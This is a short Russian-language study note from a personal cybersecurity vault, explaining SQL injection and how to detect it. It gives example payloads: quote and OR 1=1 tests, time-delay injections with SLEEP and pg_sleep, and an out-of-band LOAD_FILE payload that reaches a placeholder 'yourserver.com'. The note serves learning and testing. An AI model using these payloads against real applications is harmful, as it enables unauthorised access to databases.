Files
obsidian/cybersec/WEB/SQL injection.md
T
2026-07-30 11:35:10 +05:00

2.1 KiB

QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.

Как распознать наличие возможности SQLi?

  1. Поставить ' в конце запроса и посмотреть на ошибки

  2. Булевые выражения такие как OR 1=1 OR 1=2 могут помочь получить доступ к нужным частям БД

  3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа. Пример:
    Используй функцию задержки, например SLEEP в MySQL: Food' OR SLEEP(5)--
    Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость.

  4. Полезные нагрузки для взаимодействия с сетью (OAST):
    Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).

    Пример:
    Вставляй такие команды, которые обращаются к твоему серверу: Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')-- Или: Food'; SELECT pg_sleep(5); -- в PostgreSQL Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.